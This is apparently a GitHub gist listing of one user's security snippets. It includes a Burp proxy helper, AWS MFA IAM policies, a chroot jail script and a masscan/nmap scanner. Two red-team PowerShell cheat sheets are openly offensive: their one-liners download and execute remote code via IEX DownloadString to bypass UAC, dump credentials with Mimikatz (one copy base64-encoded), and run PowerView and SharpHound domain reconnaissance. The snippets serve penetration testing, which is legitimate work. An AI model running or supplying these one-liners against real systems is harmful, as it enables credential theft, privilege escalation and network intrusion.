royharoush’s gists

royharoush / bash-proxy.functions

Last active February 8, 2023 03:32

Silly little bash functions to easily set and unset various options for proxy (usually burp), useful for running various cli tools via burp, or anything really

	#put me in your bashrc file and source me 8-)
	#If running on linux, this is probably the easiast way to set your cli to go through proxy\burp
	function proxy-on-burp-8080(){
	export http_proxy=http://127.0.01:8080
	export https_proxy=http://127.0.0.1:8080
	export HTTP_PROXY=http://127.0.0.1:8080
	export HTTPS_PROXY=http://127.0.0.1:8080
	printf "All of the apps started from this terminal will now use burp"
	}

royharoush / RedTeam_CheatSheet.ps1

Created October 24, 2021 12:42 — forked from jivoi/RedTeam_CheatSheet.ps1

	# Description:
	# Collection of PowerShell one-liners for red teamers and penetration testers to use at various stages of testing.

	# Invoke-BypassUAC and start PowerShell prompt as Administrator [Or replace to run any other command]
	powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/privesc/Invoke-BypassUAC.ps1');Invoke-BypassUAC -Command 'start powershell.exe'"

	# Invoke-Mimikatz: Dump credentials from memory
	powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds"

	# Import Mimikatz Module to run further commands

royharoush / Quick-Mimikatz

Created June 24, 2020 23:14 — forked from gfoss/Quick-Mimikatz

Quick Mimikatz

	NOTE - These pull from public GitHub Repos that are not under my control. Make sure you trust the content (or better yet, make your own fork) prior to using!

	#mimikatz [local]
	IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/BC-SECURITY/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1"); Invoke-Mimikatz -Command privilege::debug; Invoke-Mimikatz -DumpCreds;

	#encoded-mimikatz [local]
	powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AQgBDAC0AUwBFAEMAVQBSAEkAVABZAC8ARQBtAHAAaQByAGUALwBtAGEAcwB0AGUAcgAvAGQAYQB0AGEALwBtAG8AZAB1AGwAZQBfAHMAbwB1AHIAYwBlAC8AYwByAGUAZABlAG4AdABpAGEAbABzAC8ASQBuAHYAbwBrAGUALQBNAGkAbQBpAGsAYQB0AHoALgBwAHMAMQAiACkAOwAgAEkAbgB2AG8AawBlAC0ATQBpAG0AaQBrAGEAdAB6ACAALQBDAG8AbQBtAGEAbgBkACAAcAByAGkAdgBpAGwAZQBnAGUAOgA6AGQAZQBiAHUAZwA7ACAASQBuAHYAbwBrAGUALQBNAGkAbQ

royharoush / RedTeam_CheatSheet.ps1

Last active June 5, 2020 12:09 — forked from m8sec/RedTeam_CheatSheet.ps1

Collection of PowerShell one-liners for red teamers and penetration testers to use at various stages of testing.

	# Domain Recon
	## ShareFinder - Look for shares on network and check access under current user context & Log to file
	powershell.exe -exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerView/powerview.ps1');Invoke-ShareFinder -CheckShareAccess\|Out-File -FilePath sharefinder.txt"

	## Import PowerView Module
	powershell.exe -exec Bypass -noexit -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerView/powerview.ps1')"

	## Invoke-BloodHound for domain recon
	powershell.exe -exec Bypass -C "IEX(New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/master/Ingestors/SharpHound.ps1');Invoke-BloodHound"
	powershell.exe -exec Bypass -C "IEX(New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/master/Ingestors/SharpHound.ps1');

royharoush / MFAPolicy

Created March 18, 2020 12:56

IAM Policy that allows API Calls, but restricts all Console actions(including View) if the user doesn't have MFA enabled. the only thing the user can do is change his own password and assign MFA.

	{
	"Version": "2012-10-17",
	"Statement": [
	{
	"Sid": "AllowManageOwnVirtualMFADevice1",
	"Effect": "Allow",
	"Action": [
	"iam:CreateVirtualMFADevice",
	"iam:DeleteVirtualMFADevice"
	],

royharoush / MFAPolicy

Created March 18, 2020 12:56

IAM Policy that allows API Calls, but restricts all Console actions(including View) if the user doesn't have MFA enabled.

	{
	"Version": "2012-10-17",
	"Statement": [
	{
	"Sid": "AllowManageOwnVirtualMFADevice1",
	"Effect": "Allow",
	"Action": [
	"iam:CreateVirtualMFADevice",
	"iam:DeleteVirtualMFADevice"
	],

royharoush / MFA Policy

Created March 17, 2020 15:44

	{
	"Version": "2012-10-17",
	"Statement": [
	{
	"Sid": "AllowViewAccountInfo",
	"Effect": "Allow",
	"Action":
	[
	"iam:GetAccountPasswordPolicy",
	"iam:GetAccountSummary",

royharoush / create_chrootjail.sh

Created January 15, 2020 15:16 — forked from schnell18/create_chrootjail.sh

Script to automate the creation of chroot jail w/ minimal executables to run git.

	#!/bin/sh
	# script to automate the creation of chroot jail
	# w/ minimal executables to run git

	export CHROOT=/var/chroot

	function copy_binary() {
	for i in $(ldd $*\|grep -v dynamic\|cut -d " " -f 3\|sed 's/://'\|sort\|uniq)
	do
	cp --parents $i $CHROOT

royharoush / masScan2nMap.sh

Last active February 9, 2023 18:00

a little hacked script that runs masscan against 2000 top ports from nmap, then runs a "slower" scan (30 hosts per 60 seconds) against each of the detected ip-port pairs

	#!/bin/bash
	#requires nmap and masscan to be installed and the following nmap scripts
	apt-get install nmap masscan -y
	sudo wget https://raw.githubusercontent.com/vulnersCom/nmap-vulners/master/vulners.nse -O /usr/share/nmap/scripts/vulners.nse
	sudo wget https://raw.githubusercontent.com/vulnersCom/nmap-vulners/master/http-vulners-paths.txt -O /usr/share/nmap/nselib/data/http-vulners-paths.txt
	sudo wget https://raw.githubusercontent.com/vulnersCom/nmap-vulners/master/http-vulners-regex.json -O /usr/share/nmap/nselib/data/http-vulners-regex.json
	sudo wget https://raw.githubusercontent.com/vulnersCom/nmap-vulners/master/http-vulners-regex.nse -O /usr/share/nmap/scripts/http-vulners-regex.nse
	sudo nmap --script-updatedb
	rm ./nmapresults/*.xml
	echo "starting masscan"